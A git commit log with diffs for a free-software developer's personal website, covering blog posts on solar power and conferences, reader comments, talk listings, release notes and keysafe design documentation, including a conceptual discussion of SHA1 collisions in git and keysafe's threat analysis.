+Once a project contains the first 3 lines of the file, followed by
+anything at all, it contains a SHA1 collision, from which you can generate
+the bad version of by swapping in the bad data chuck. You can then
+replace the good file with the bad version here and there, and noone
+will be the wiser (except the easter egg will display the "bad" first line
+before it roots them).
+
+Now, how much more expensive would this be than today's SHA1 attack? It
+needs a way to generate collisions using only printable ASCII. Whether that
+is feasible depends on the implementation details of the SHA1 attack, and I
+don't really know. I should stop writing this blog post and read the rest
+of the paper.
+
+You can pick either of these two lessons to take away:
+
+1. ASCII art in code is evil and unsafe. Avoid it at any cost. `apt-get moo`
+
+2. Git's security is getting broken to the point that ASCII art
+   (and a few hundred thousand dollars) is enough to defeat it.
+
+----
+
+My work today investigating ways to apply the SHA1 collision to git
+repos (not limited to this blog post) was sponsored by Thomas Hochstein
+on Patreon.

response
diff --git a/blog/entry/p2p_dreams/comment_3_e540a2d14a7adbc71aeec49646424f0f._comment b/blog/entry/p2p_dreams/comment_3_e540a2d14a7adbc71aeec49646424f0f._comment
new file mode 100644
index 0000000..2850485
--- /dev/null
+++ b/blog/entry/p2p_dreams/comment_3_e540a2d14a7adbc71aeec49646424f0f._comment
@@ -0,0 +1,12 @@
+[[!comment format=mdwn
+ username="joey"
+ subject="""comment 3"""
+ date="2017-02-23T21:05:39Z"
+ content="""
+@Joachim I was aware of haskell-tor when I built this. I chose not to use
+it for a bunch of reasons including,
+it does not suppport tor hidden services,
+it's not been peer reviewed,
+tor has a much more active development community that's working on a next
+generation of hidden services amoung other things.
+"""]]

Added a comment: Using haskell-tor
diff --git a/blog/entry/p2p_dreams/comment_2_97029d4aea892d6a7f262a9d74a3e775._comment b/blog/entry/p2p_dreams/comment_2_97029d4aea892d6a7f262a9d74a3e775._comment
new file mode 100644
index 0000000..3afcd69
--- /dev/null
+++ b/blog/entry/p2p_dreams/comment_2_97029d4aea892d6a7f262a9d74a3e775._comment
@@ -0,0 +1,15 @@
+[[!comment format=mdwn
+ username="mail@45651620a210591000202a17a15b298f81c5f682"
+ nickname="mail"
+ avatar="http://cdn.libravatar.org/avatar/5823d09208b1e4b63bbfcd189492032c"
+ subject="Using haskell-tor"
+ date="2017-02-22T20:16:22Z"
+ content="""
+Hi,
+
+instead of relying on a system installation of tor, have you considered using tor as a library, maybe using the bindings provided by Galois: https://github.com/GaloisInc/haskell-tor
+
+You might also be interested in how this Tor-Hidden-Service based instant messenger does it: https://ricochet.im/
+
+Joachim
+"""]]

blog update
diff --git a/blog/entry/early_spring.mdwn b/blog/entry/early_spring.mdwn
new file mode 100644
index 0000000..efd371f
--- /dev/null
+++ b/blog/entry/early_spring.mdwn
@@ -0,0 +1,21 @@
+Sun is setting after 7 (in the [[JEST TZ|howto_create_your_own_time_zone]]);
+it's early spring. Batteries are generally staying above 11 volts, so it's
+time to work on the porch (on warmer days), running the inverter and
+spinning up disc drives that have been mostly off since fall. Back to
+leaving the router on overnight so my laptop can sync up before I wake up.
+
+Not enough power yet to run electric lights all evening, and there's still
+a risk of a cloudy week interrupting the climb back up to plentiful power.
+It's happened to me a couple times before.
+
+Also, turned out that both of my laptop DC-DC power supplies developed
+partial shorts in their cords around the same time. So at first I thought
+it was some problem with the batteries or laptop, but eventually figured it
+out and got them replaced. (This may have contributed the [[the_cliff]]
+earier; seemed to be worst when house voltage was low.)
+
+Soon, 6 months of more power than I can use..
+
+Previously: [[battery_bank_refresh]] [[late_summer]] [[the_cliff]]
+
+[[!tag solar]]

add news item for github-backup 1.20170221
diff --git a/code/github-backup/news/version_1.20160511.mdwn b/code/github-backup/news/version_1.20160511.mdwn
deleted file mode 100644
index 45896fa..0000000
--- a/code/github-backup/news/version_1.20160511.mdwn
+++ /dev/null
@@ -1,4 +0,0 @@
-github-backup 1.20160511 released with [[!toggle text="these changes"]]
-[[!toggleable text="""
-   * Fix build with directory-1.2.6.2.
-   * github-backup.cabal: Add Setup-Depends."""]]
\ No newline at end of file
diff --git a/code/github-backup/news/version_1.20170221.mdwn b/code/github-backup/news/version_1.20170221.mdwn
new file mode 100644
index 0000000..9ff447e
--- /dev/null
+++ b/code/github-backup/news/version_1.20170221.mdwn
@@ -0,0 +1,7 @@
+github-backup 1.20170221 released with [[!toggle text="these changes"]]
+[[!toggleable text="""
+   * Updated to use github-0.15.
+   * Due to a regression in github-0.15, the pull request list is retrieved
+     without authentication.
+   * Various updates to internal git and utility libraries shared
+     with git-annex."""]]
\ No newline at end of file

fix blog post formatting
diff --git a/blog/entry/moving_my_email_archives_and_packages_to_git-annex.mdwn b/blog/entry/moving_my_email_archives_and_packages_to_git-annex.mdwn
index 37daf6f..19aea34 100644
--- a/blog/entry/moving_my_email_archives_and_packages_to_git-annex.mdwn
+++ b/blog/entry/moving_my_email_archives_and_packages_to_git-annex.mdwn
@@ -63,7 +63,7 @@ is necessary for mairix to realize they're compressed.
 I'd evolved a complex and fragile chain of personal `apt` repositories
 to hold Debian packages I've released. I recently got rid of the mess,
 which looked like this: `dput` &rarr; local `mini-dinstall` repo &rarr;
-dput` &rarr; `mini-dinstall` repo on my server &rarr; `dput` &rarr; Debian
+`dput` &rarr; `mini-dinstall` repo on my server &rarr; `dput` &rarr; Debian
 
 The point of all that was that I could "upload" a package locally
 while offline and batch transfer it later. And I had a local and

update
diff --git a/code/debug-me.mdwn b/code/debug-me.mdwn
index c00b324..6edabd4 100644
--- a/code/debug-me.mdwn
+++ b/code/debug-me.mdwn
@@ -58,8 +58,8 @@ to run `debug-me` on another computer, to record the developer activity proof
 there. This way a very Evil developer can't delete the user's only copy of
 the proof of their Evil.
 
-The server can also record the session. This doesn't help if the
-developer is running the server. But if there are multiple servers
+The server can also record the session. This doesn't help preserve proof 
+if the developer is running the server. But if there are multiple servers
 run by different people, the user's client could send the session to
 several of them to get it recorded.
 
@@ -90,7 +90,8 @@ and entered a given input.
 An asynchronous input must include the hash of the previous input.
 Asynchronous inputs are only used for sending signals, eg ctrl-c, not for
 sending keystrokes. This allows interruption of a running command at any
-time, without needing to catch up to its most recent output.
+time, without needing to catch up to its most recent output. (Especially
+useful if a buggy program is printing out a lot of output.)
 
 It might seem like a good idea for a client to resend a rejected input,
 rebasing it on top of the new output. But, if a client did this, its user
@@ -113,9 +114,14 @@ For example:
 	3. output "t" (previous: 2)
 	4. input "o" (previous: 1, echo: "t") -- valid because "t" = 3
 	5. output "o" (previous: 4)
-	6. input "p" (1, echo: "to") -- valid because "to" = 3+5
+	6. input "p" (previous: 1, echo: "to") -- valid because "to" = 3+5
 	7. output: "p" (previous: 6)
 
+This should be sufficient for shell access, and for using some editors.
+However, editors like vim that update a cursor position indicator as
+text is added will often have inputs rejected. debug-me could optionally
+beep or flash the screen when an input has been rejected.
+
 #### interface
 
 Interface is as close to a ssh session as possible.
@@ -124,7 +130,7 @@ The user can input stuff, just as well as the developer.
 
 It can be important to match terminal sizes, to make sure the developer
 is seeing same thing as the user. `debug-me` can assist with this by
-drawing a box and having the developer resize the terminal to enclose it,
+drawing a box and having the developer resize their terminal to enclose it,
 when the terminal sizes vary.
 
 It would be possible to have the user manually vet inputs and outputs,

layut
diff --git a/blog/entry/Presenting_at_LibrePlanet_2017.mdwn b/blog/entry/Presenting_at_LibrePlanet_2017.mdwn
index b751323..6cdc637 100644
--- a/blog/entry/Presenting_at_LibrePlanet_2017.mdwn
+++ b/blog/entry/Presenting_at_LibrePlanet_2017.mdwn
@@ -8,6 +8,7 @@ After attending for four years, I finally thought it was
 time to perhaps speak at it.
 
 <blockquote>
+<p>
       Four keynote speakers will anchor the event. Kade Crockford,
       director of the Technology for Liberty program of the American
       Civil Liberties Union of Massachusetts, will kick things off on
@@ -16,7 +17,8 @@ time to perhaps speak at it.
       Software Foundation president Richard Stallman will present the 
       Free Software Awards and discuss pressing threats and important
       opportunities for software freedom.
-
+</p>
+<p>
       Day two will begin with Cory Doctorow, science fiction author and
       special consultant to the Electronic Frontier Foundation,
       revealing how to eradicate all Digital Restrictions Management
@@ -24,17 +26,20 @@ time to perhaps speak at it.
       Harihareswara, leader, speaker, and advocate for free software and
       communities, giving a talk entitled "Lessons, Myths, and Lenses:
       What I Wish I'd Known in 1998."
-
+</p>
+<p>
       That's not all. We'll hear about the GNU philosophy from Marianne
       Corvellec of the French free software organization April, <b>Joey
       Hess will touch on encryption with a talk about backing up your
       GPG keys</b>, and Denver Gingerich will update us on a crucial free
       software need: the mobile phone.
-
+</p>
+<p>
       Others will look at ways to grow the free software movement:
       through cross-pollination with other activist movements, removal
       of barriers to free software use and contribution, and new ideas
       for free software as paid work.
+</p>
 </blockquote>
 
 -- [Here's a sneak peek at LibrePlanet 2017: Register today!](https://www.fsf.org/blogs/community/heres-a-sneak-peek-at-libreplanet-2017-register-today)

blog update
diff --git a/blog/entry/Presenting_at_LibrePlanet_2017.mdwn b/blog/entry/Presenting_at_LibrePlanet_2017.mdwn
new file mode 100644
index 0000000..b751323
--- /dev/null
+++ b/blog/entry/Presenting_at_LibrePlanet_2017.mdwn
@@ -0,0 +1,44 @@
+I've gotten in the habit of going to the FSF's LibrePlanet conference
+in Boston. It's a very special conference, much wider ranging than
+a typical technology conference, solidly grounded in software freedom,
+and full of extraordinary people. 
+(And the only conference I've ever taken my Mom to!) 
+
+After attending for four years, I finally thought it was 
+time to perhaps speak at it.
+
+<blockquote>
+      Four keynote speakers will anchor the event. Kade Crockford,
+      director of the Technology for Liberty program of the American
+      Civil Liberties Union of Massachusetts, will kick things off on
+      Saturday morning by sharing how technologists can enlist in the
+      growing fight for civil liberties. On Saturday night, Free
+      Software Foundation president Richard Stallman will present the 
+      Free Software Awards and discuss pressing threats and important
+      opportunities for software freedom.
+
+      Day two will begin with Cory Doctorow, science fiction author and
+      special consultant to the Electronic Frontier Foundation,
+      revealing how to eradicate all Digital Restrictions Management
+      (DRM) in a decade. The conference will draw to a close with Sumana
+      Harihareswara, leader, speaker, and advocate for free software and
+      communities, giving a talk entitled "Lessons, Myths, and Lenses:
+      What I Wish I'd Known in 1998."
+
+      That's not all. We'll hear about the GNU philosophy from Marianne
+      Corvellec of the French free software organization April, <b>Joey
+      Hess will touch on encryption with a talk about backing up your
+      GPG keys</b>, and Denver Gingerich will update us on a crucial free
+      software need: the mobile phone.
+
+      Others will look at ways to grow the free software movement:
+      through cross-pollination with other activist movements, removal
+      of barriers to free software use and contribution, and new ideas
+      for free software as paid work.
+</blockquote>
+
+-- [Here's a sneak peek at LibrePlanet 2017: Register today!](https://www.fsf.org/blogs/community/heres-a-sneak-peek-at-libreplanet-2017-register-today)
+
+I'll be giving some varient of the keysafe talk from Linux.Conf.Au.
+By the way, videos of my keysafe and propellor talks at Linux.Conf.Au 
+are now available, see the [[talks]] page.

update
diff --git a/talks.mdwn b/talks.mdwn
index 3b41ff9..d8e72a6 100644
--- a/talks.mdwn
+++ b/talks.mdwn
@@ -101,3 +101,8 @@ by others.
   - [video](http://mirror.linux.org.au/pub/linux.conf.au/2017/Type_driven_configuration_management_with_Propellor.webm)
   - [[slides|propellor.pdf]]
   - [Linux Weekly News writeup](https://lwn.net/Articles/713653)
+
+## Libreplanet 2017, MIT
+
+* "securely backing up gpg private keys.. to the cloud‽"
+  March 25th/26th

fix typo
diff --git a/talks/keysafe.pdf b/talks/keysafe.pdf
index c391aec..0125f5f 100644
Binary files a/talks/keysafe.pdf and b/talks/keysafe.pdf differ

new tool suggestion
diff --git a/code/moreutils/discussion.mdwn b/code/moreutils/discussion.mdwn
index 4cca48f..fbaffef 100644
--- a/code/moreutils/discussion.mdwn
+++ b/code/moreutils/discussion.mdwn
@@ -1,6 +1,13 @@
 Feel free to edit this page to suggest tools to add, or make any other
 comments --[[Joey]]
 
+## tool suggestion: "fork after grep"
+
+I've written this tool for tzap (tuning DVB-T cards). Iit runs a process as a child, waits for a string to appear on its stdout/stderr, then daemonizes it.     
+This is useful if a program takes a while to initialize, then prints a message on stdout, but does not daemonize itself. 
+
+It put it up on [github here](https://github.com/girst/forkaftergrep)
+
 ## chronic
 
 ### triggering by non-empty stderr output

link to lwn writeup of propellor talk
diff --git a/talks.mdwn b/talks.mdwn
index 6e96bf9..3b41ff9 100644
--- a/talks.mdwn
+++ b/talks.mdwn
@@ -100,3 +100,4 @@ by others.
 * "Type driven configuration management with Propellor"
   - [video](http://mirror.linux.org.au/pub/linux.conf.au/2017/Type_driven_configuration_management_with_Propellor.webm)
   - [[slides|propellor.pdf]]
+  - [Linux Weekly News writeup](https://lwn.net/Articles/713653)

Added a comment: Thanks for the kind words
diff --git a/blog/entry/badUSB/comment_1_189324dcfd806a38d82499292de894b2._comment b/blog/entry/badUSB/comment_1_189324dcfd806a38d82499292de894b2._comment
new file mode 100644
index 0000000..b2f1da7
--- /dev/null
+++ b/blog/entry/badUSB/comment_1_189324dcfd806a38d82499292de894b2._comment
@@ -0,0 +1,9 @@
+[[!comment format=mdwn
+ username="keithp@2c7c405b918a52cb022f52bd948f5958d6b60d52"
+ nickname="keithp"
+ avatar="http://cdn.libravatar.org/avatar/e6fb242319b4b3cd957499c9965849b6"
+ subject="Thanks for the kind words"
+ date="2017-01-26T18:19:32Z"
+ content="""
+It was great to see you in Hobart; glad you're enjoying my random gift!
+"""]]

work "chaoskey" into comic
Might have been better to make the whole name visible on the usb key
picture but I didn't want to redraw it.
diff --git a/blog/pics/badusb.png b/blog/pics/badusb.png
index f19b094..f6b6baf 100644
Binary files a/blog/pics/badusb.png and b/blog/pics/badusb.png differ
diff --git a/blog/pics/badusb.xcf b/blog/pics/badusb.xcf
index 74d15dd..98ceb8e 100644
Binary files a/blog/pics/badusb.xcf and b/blog/pics/badusb.xcf differ

dmesg
diff --git a/blog/entry/badUSB.mdwn b/blog/entry/badUSB.mdwn
index 68911d5..2f12851 100644
--- a/blog/entry/badUSB.mdwn
+++ b/blog/entry/badUSB.mdwn
@@ -1,6 +1,8 @@
 [[!img blog/pics/badusb.png size=640x alt="3 panel comic: 1. In a dark corner of the Linux Conf AU penguin dinner. 2. (Kindly accountant / uncle looking guy) Wanna USB key? First one is free! (I made it myself.) (No driver needed..) 3. It did look homemade, but I couldn't resist... My computer has not been the same since" link="http://chaoskey.org/"]]
 
-This actually happened. Probably.
+This actually happened.
+
+	Jan 19 00:05:10 darkstar kernel: usb 2-2: Product: ChaosKey-hw-1.0-sw-1.6.
 
 In real life, my hat is uglier, and Keithp is more kindly looking.
 

add
diff --git a/blog/entry/badUSB.mdwn b/blog/entry/badUSB.mdwn
new file mode 100644
index 0000000..68911d5
--- /dev/null
+++ b/blog/entry/badUSB.mdwn
@@ -0,0 +1,7 @@
+[[!img blog/pics/badusb.png size=640x alt="3 panel comic: 1. In a dark corner of the Linux Conf AU penguin dinner. 2. (Kindly accountant / uncle looking guy) Wanna USB key? First one is free! (I made it myself.) (No driver needed..) 3. It did look homemade, but I couldn't resist... My computer has not been the same since" link="http://chaoskey.org/"]]
+
+This actually happened. Probably.
+
+In real life, my hat is uglier, and Keithp is more kindly looking.
+
+[[gimp source|blog/pics/badusb.xcf]]
diff --git a/blog/pics/badusb.png b/blog/pics/badusb.png
new file mode 100644
index 0000000..f19b094
Binary files /dev/null and b/blog/pics/badusb.png differ
diff --git a/blog/pics/badusb.xcf b/blog/pics/badusb.xcf
new file mode 100644
index 0000000..74d15dd
Binary files /dev/null and b/blog/pics/badusb.xcf differ

add moved links
diff --git a/code/keysafe/details.mdwn b/code/keysafe/details.mdwn
index 98532ff..40f23ed 100644
--- a/code/keysafe/details.mdwn
+++ b/code/keysafe/details.mdwn
@@ -1 +1,3 @@
 [[!meta redir="https://keysafe.branchable.com/details/"]]
+
+Moved to <https://keysafe.branchable.com/details/>
diff --git a/code/keysafe/faq.mdwn b/code/keysafe/faq.mdwn
index d1a3a34..59faee6 100644
--- a/code/keysafe/faq.mdwn
+++ b/code/keysafe/faq.mdwn
@@ -1 +1,3 @@
 [[!meta redir="https://keysafe.branchable.com/faq/"]]
+
+Moved to <https://keysafe.branchable.com/faq/>
diff --git a/code/keysafe/screenshots.mdwn b/code/keysafe/screenshots.mdwn
index 55223fe..1674c75 100644
--- a/code/keysafe/screenshots.mdwn
+++ b/code/keysafe/screenshots.mdwn
@@ -1 +1,3 @@
 [[!meta redir="https://keysafe.branchable.com/screenshots/"]]
+
+Moved to <https://keysafe.branchable.com/screenshots/>
diff --git a/code/keysafe/servers.mdwn b/code/keysafe/servers.mdwn
index 70718fb..b896dbb 100644
--- a/code/keysafe/servers.mdwn
+++ b/code/keysafe/servers.mdwn
@@ -1 +1,3 @@
 [[!meta redir="https://keysafe.branchable.com/servers/"]]
+
+Moved to <https://keysafe.branchable.com/servers/>

add news item for scroll 1.20170122
diff --git a/code/scroll/news/version_1.20170122.mdwn b/code/scroll/news/version_1.20170122.mdwn
new file mode 100644
index 0000000..c6a0427
--- /dev/null
+++ b/code/scroll/news/version_1.20170122.mdwn
@@ -0,0 +1,4 @@
+scroll 1.20170122 released with [[!toggle text="these changes"]]
+[[!toggleable text="""
+   * Fix build with optparse-applicative-0.13.
+     Thanks, Sergei Trofimovich."""]]
\ No newline at end of file

new keysafe website
diff --git a/code/keysafe.mdwn b/code/keysafe.mdwn
index d27bfbf..6697d36 100644
--- a/code/keysafe.mdwn
+++ b/code/keysafe.mdwn
@@ -5,77 +5,6 @@ ten million systems. It's about making it possible for users to use gpg who
 currently don't, and who would find it too hard to use `paperkey` to back
 up and restore their key as they reinstall their laptop.
 
-Not yet ready for production use! Needs security review!
-May run over your dog! Not suitable for bitcoin keys!
-
-## Screenshots
-
-See [[screenshots]]. (Keysafe can also run in text mode in a terminal.)
-
-## How it works, basically
-
-The secret key is encrypted using a password, and is split into three
-shards, and each is uploaded to a server run by a different entity. Any two
-of the shards are sufficient to recover the original key. So any one server
-can go down and you can still recover the key.
-
-Keysafe checks your password strength (using the excellent but not perfect
-[zxcvbn library](https://github.com/tsyrogit/zxcvbn-c)),
-and shows an estimate of the cost to crack your password,
-before backing up the key. 
-
-[[screenshots/4.png]]  
-(Above is for the password "makesad spindle stick")
-
-Keysafe is designed so that it should take millions of dollars of computer
-time to crack any fairly good password. (This is accomplished using
-[Argon2](https://en.wikipedia.org/wiki/Argon2).)
-With a truely good password, such as four random words, the cracking cost
-should be many trillions of dollars.
-
-The password is the most important line of defense, but keysafe's design
-also makes it hard for an attacker to even find your encrypted secret key.
-
-For a more in-depth explanation, and some analysis of different attack
-vectors (and how keysafe thwarts them), see [[details]].
-Also, there's a [[FAQ]].
-
-## News
+<https://keysafe.branchable.com>
 
 [[!inline pages="code/keysafe/news/* and !*/Discussion" show="3"]]
-
-## Git repository
-
-`git clone git://git.joeyh.name/keysafe.git`
-
-All tags and commits in this repository are gpg signed, and you should
-verify the signature before using it.
-
-## Installation
-
-You should first install Haskell's stack tool, the readline and argon2
-libraries, and zenity. For example, on a Debian system:
-
-	sudo apt-get install haskell-stack libreadline-dev libargon2-0-dev zenity
-
-Then to build and install keysafe:
-
-	stack install keysafe
-
-Note that there is a manpage, but stack doesn't install it yet.
-
-## Reporting bugs
-
-Email <id@joeyh.name>
-
-## Servers
-
-See [[servers]] for information on the keysafe servers.
-
-## License
-
-Keysafe is licensed under the terms of the AGPL 3+
-
-## Thanks
-
-Thanks to Anthony Towns for his help with keysafe's design.
diff --git a/code/keysafe/details.mdwn b/code/keysafe/details.mdwn
index e0f85e5..98532ff 100644
--- a/code/keysafe/details.mdwn
+++ b/code/keysafe/details.mdwn
@@ -1,365 +1 @@
-[[!toc]]
-
-## Storing a key
-
-* Input password and name from user. The name is a combination of their own
-  name and a more obscure name (such as the name of their high-school
-  sweetheart).
-* Get the keyid of the key. (This can be any a public value
-  unique to the private key, eg a gpg keyid. It's only used to allow
-  storing multiple keys under a given name. If a gpg public key is not on the
-  keyservers, or the key is not a gpg key, can use "" for the keyid.)
-* Generate N by argon2(name, salt=keyid), tuned to take 10 minutes.
-* Generate N1-N3 by sha256 of N+1,2,3
-* Generate decryption puzzle P, a byte chosen at random.
-* Generate K by argon2(password, salt=name+P), tuned to take 0.195 minutes.
-* AES encrypt (data + checksum) with K as the key.
-* Shamir the encrypted key with N=2, M=3, yeilding S1-S3.
-* Servers reject attempts to store an object under a name that is
-  already in use.
-* Servers do not allow enumerating all objects stored,
-  and require a proof of work to handle any request.
-* Upload S1-S3 to separate servers under the names N1-N3.
-  If any of the uploads is rejected as name already in use, 
-  ask user to enter a different name or password.
-
-So, storing a key takes 10 minutes.
-
-## Recovering a key
-
-* Input password and name from user.
-* Calculate N and N1-N2
-* Request N1-N3 from servers until two objects are available.
-* Shamir recombine the objects.
-* Guess a value for P.
-* Generate K by argon2(password, salt=name+P)
-* AES decrypt
-* Repeat with new P until checksum verifies.
-
-This takes 10 minutes to calculate N, plus on average 128 guesses of P.
-Total recovery time varies from 10 minutes to 60 minutes, with an
-average of 35 minutes.
-
-## Difficulty of brute forcing a single encrypted key
-
-* Assume we know the name and keyid, or have otherwise found a way to
-  determine the shards of a key. Download and recombine the shards.
-* Guess a password.
-* For each possible value of P, AES decrypt with
-  K = argon2(password, salt=name+P), and check if checksum verifies.  
-  This takes 0.195 minutes * 256 = 50 minutes total.
-* Repeat for next password.
-
-So, for a password with N entropy, the number of CPU-years of work
-is to crack it is: `2^(N-1)*50/60/24/365`
-
-* Strong password (50 entropy): 53553077761 CPU-years
-* Weak password (30 entropy): 51072 CPU-years
-* Super-weak password (19 entropy): 25 CPU-years
-
-So, if an attacker is able to find the right shards for a secret key, it's
-feasible for them to crack super-weak and weak passwords, assuming the
-secret key is worth the cost of doing do. Stronger passwords quickly
-become infeasible to crack.
-
-## Attack methods
-
-An attacker who wants to target a particular person can guess the name they
-used, derive N1-N3, download two of S1-S3 and start brute forcing the
-password soon after the object is stored. This is the most likely attack
-method, so any user who could potentially be targeted like this should
-choose a strong password. A name that attackers are unlikely to guess
-prevents this attack, which is why keysafe prompts for not only the
-user's name, but also a more obscure name. Each name guess that the
-attacker makes takes 10 minutes of CPU time to generate N, as well
-as whatever proof of work the servers require.
-
-The sharding prevents a single malicious server from blindly 
-guessing weak passwords across its entire collection of objects.
-It takes two servers colluding to try to recombine their shards.
-
-If recombining two shards yielded data which could be checked to see if
-it's valid, then it would become fairly inexpensive to try all combinations
-of shards, and obtain all the encrypted keys for further cracking. So it's
-important that there not be any checksum or header in addition to the AES
-encrypted data. (AES encrypted data cannot be distinguised from random
-garbage except by block size.) Get that right, and with N keysafe users, an
-attacker would need to try `2^(N-1)` combinations of shards to find one on
-average, and would need to brute force the password of each combination.
-With only 20 keysafe users, assuming all users have super-weak passwords,
-this attack takes 13107200 years of CPU work `(2^19*25)` to crack one. With
-50 users, this jumps to quadrillions of years of CPU work.
-
-Colluding servers can try to correlate related objects based on access
-patterns and recombine pairs of those, and then brute force the password.
-The correlation needs to be very fine-grained for this to work.
-If 15 users' objects are all bucketed together by the correlation,
-then the attacker has 16384 combinations to try on average before
-finding a correct combination. Multiply by 5 years CPU work for cracking
-only super-weak passwords.
-
-Colluding servers who want to target a particular person
-can guess their N1-N3, check if those objects exist on the server, and
-begin brute-forcing the password. This is not much cheaper than the same
-attack performed by a third-party attacker, except that the attacker
-doesn't need to wait for an object to download from the server to check if
-it exists.
-
-A state-level entity may try to subpoena the entire contents of keysafe
-servers. Once 2 servers are compromised, the state-level entity can try the
-same attacks that colluding servers can use (but probably cannot use
-attacks involving correlation because the server operators should not be
-retaining the data needed for correlation). Of course, they probably have

(Diff truncated)
comment
diff --git a/blog/entry/completely_linux_distribution-independent_packaging/comment_5_86a967a91b5c60a1f76fc934b59c5a14._comment b/blog/entry/completely_linux_distribution-independent_packaging/comment_5_86a967a91b5c60a1f76fc934b59c5a14._comment
new file mode 100644
index 0000000..3d19efd
--- /dev/null
+++ b/blog/entry/completely_linux_distribution-independent_packaging/comment_5_86a967a91b5c60a1f76fc934b59c5a14._comment
@@ -0,0 +1,21 @@
+[[!comment format=mdwn
+ username="joey"
+ subject="""comment 5"""
+ date="2017-01-22T12:30:11Z"
+ content="""
+Flatpak and snap don't seem to make it any easier to deal with this than
+docker does. Probably harder if your app has any unusual dependencies,
+since if the Flatpack runtime does not include a dependency, you have to
+bundle the dependency with the app.
+
+Compiler developers should not *need* to worry about including their compiler
+in a runtime.
+
+Flatpack might be slightly less of a security nightmare than docker is,
+due to more finegrained sandboxing, and since the app runtimes can be
+upgraded.
+
+It seems unlikely they're going to take off though. Docker has already
+nearly fully occupied their space, and instead of competing with it,
+flatpak and snap are competing with one-another.
+"""]]

gix
diff --git a/talks.mdwn b/talks.mdwn
index 720459a..6e96bf9 100644
--- a/talks.mdwn
+++ b/talks.mdwn
@@ -99,4 +99,4 @@ by others.
   - [[slides|keysafe.pdf]]
 * "Type driven configuration management with Propellor"
   - [video](http://mirror.linux.org.au/pub/linux.conf.au/2017/Type_driven_configuration_management_with_Propellor.webm)
-  - [slides|propellor.pdf]]
+  - [[slides|propellor.pdf]]

added talks
diff --git a/talks.mdwn b/talks.mdwn
index a8158c9..720459a 100644
--- a/talks.mdwn
+++ b/talks.mdwn
@@ -91,3 +91,12 @@ by others.
     - [video](http://meetings-archive.debian.net/pub/debian-meetings/2014/debconf14/webm/seeing_Debian_through_a_Functional_lens.webm)
  * "Propellor demo"
     - [video](http://downloads.kitenet.net/talks/propellor_demo/propellor_demo.webm)
+ 
+## Linux.Conf.AU 2017, Hobart
+
+* "securely backing up gpg private keys.. to the cloud‽"
+  - [video](http://mirror.linux.org.au/pub/linux.conf.au/2017/securely_backing_up_gpg_private_keys_to_the_cloud.webm)
+  - [[slides|keysafe.pdf]]
+* "Type driven configuration management with Propellor"
+  - [video](http://mirror.linux.org.au/pub/linux.conf.au/2017/Type_driven_configuration_management_with_Propellor.webm)
+  - [slides|propellor.pdf]]

add
diff --git a/pics/linux.conf.au/presenting.jpg b/pics/linux.conf.au/presenting.jpg
new file mode 100644
index 0000000..dd4f89a
Binary files /dev/null and b/pics/linux.conf.au/presenting.jpg differ
diff --git a/talks/keysafe.pdf b/talks/keysafe.pdf
new file mode 100644
index 0000000..c391aec
Binary files /dev/null and b/talks/keysafe.pdf differ
diff --git a/talks/propellor.pdf b/talks/propellor.pdf
new file mode 100644
index 0000000..c4e6265
Binary files /dev/null and b/talks/propellor.pdf differ

Added a comment: tmux's API and ii
diff --git a/blog/entry/multi-terminal_applications/comment_8_8b2ae6bd51f144027c0a895c798eda5d._comment b/blog/entry/multi-terminal_applications/comment_8_8b2ae6bd51f144027c0a895c798eda5d._comment
new file mode 100644
index 0000000..ab36688
--- /dev/null
+++ b/blog/entry/multi-terminal_applications/comment_8_8b2ae6bd51f144027c0a895c798eda5d._comment
@@ -0,0 +1,22 @@
+[[!comment format=mdwn
+ username="anarcat"
+ avatar="http://cdn.libravatar.org/avatar/4ad594c1e13211c1ad9edb81ce5110b7"
+ subject="tmux's API and ii"
+ date="2017-01-17T18:40:13Z"
+ content="""
+i have a similar concern in a project i'm working on now, which is to
+run a bunch of tests in one window and showing system logs in another
+window for convenience. i thought i would use tmux for this because the
+commandline interface is simple enough to be used like an API. my
+previous approach to this was to use a multi-interface design with
+simple functions like \"alert\", \"prompt\" or \"log\" that would send stuff
+to different places (terminal or gtk windows) depending on the
+environment, a bit like what debconf is doing, with all the crap that
+implies (generally: a suboptimal interface everywhere).
+
+as for an irc client, you may be curious to try out `ii`: it's a simple
+FIFO and filesystem-based irc client that implements basically *no* user
+interface... a little nuts, but sounds like it would be the backend to
+the UI you are describing.
+
+"""]]

Added a comment: flatpak?
diff --git a/blog/entry/completely_linux_distribution-independent_packaging/comment_4_8938ef07b70cde4a9427b16ed1668222._comment b/blog/entry/completely_linux_distribution-independent_packaging/comment_4_8938ef07b70cde4a9427b16ed1668222._comment
new file mode 100644
index 0000000..b0d33f0
--- /dev/null
+++ b/blog/entry/completely_linux_distribution-independent_packaging/comment_4_8938ef07b70cde4a9427b16ed1668222._comment
@@ -0,0 +1,10 @@
+[[!comment format=mdwn
+ username="anarcat"
+ avatar="http://cdn.libravatar.org/avatar/4ad594c1e13211c1ad9edb81ce5110b7"
+ subject="flatpak?"
+ date="2017-01-17T18:38:26Z"
+ content="""
+this is awesome. :) i have used this in weird cases (which, unfortunately, now include debian jessie ;) and bundle at least one of those binaries next to my git-annex archives...
+
+it seems there's a new player in this problem space - did you look at [flatpak](http://flatpak.org/)? the haskell folks have started to [consider it](https://github.com/haskell/haskell-platform/issues/259)...
+"""]]

fix more
diff --git a/code/keysafe/servers.mdwn b/code/keysafe/servers.mdwn
index 04c71a0..8fe9073 100644
--- a/code/keysafe/servers.mdwn
+++ b/code/keysafe/servers.mdwn
@@ -38,7 +38,7 @@ Keysafe's server list puts servers in three categories:
 
 ### Recommended
 
-* hlmjmeth356s5ekm.onion
+#### hlmjmeth356s5ekm.onion
 
 	-----BEGIN PGP SIGNED MESSAGE-----
 	Hash: SHA1
@@ -72,7 +72,7 @@ Keysafe's server list puts servers in three categories:
 
 ### Alternate
 
-* keysafe.joeyh.name
+#### keysafe.joeyh.name
 
 	-----BEGIN PGP SIGNED MESSAGE-----
 	Hash: SHA256
@@ -104,7 +104,7 @@ Keysafe's server list puts servers in three categories:
 	-----END PGP SIGNATURE-----
 </pre>
 
-* thirdserver
+#### thirdserver
 
   Provided by Marek Isalski at [Faelix](http://www.faelix.net/).
   Currently located in UK, but planned move to CH.  

fix formatting so warrent canary link works
diff --git a/code/keysafe/servers.mdwn b/code/keysafe/servers.mdwn
index c1553c7..04c71a0 100644
--- a/code/keysafe/servers.mdwn
+++ b/code/keysafe/servers.mdwn
@@ -40,71 +40,68 @@ Keysafe's server list puts servers in three categories:
 
 * hlmjmeth356s5ekm.onion
 
-<pre>
------BEGIN PGP SIGNED MESSAGE-----
-Hash: SHA1
-
-The keysafe server hlmjmeth356s5ekm.onion is provided and administered by
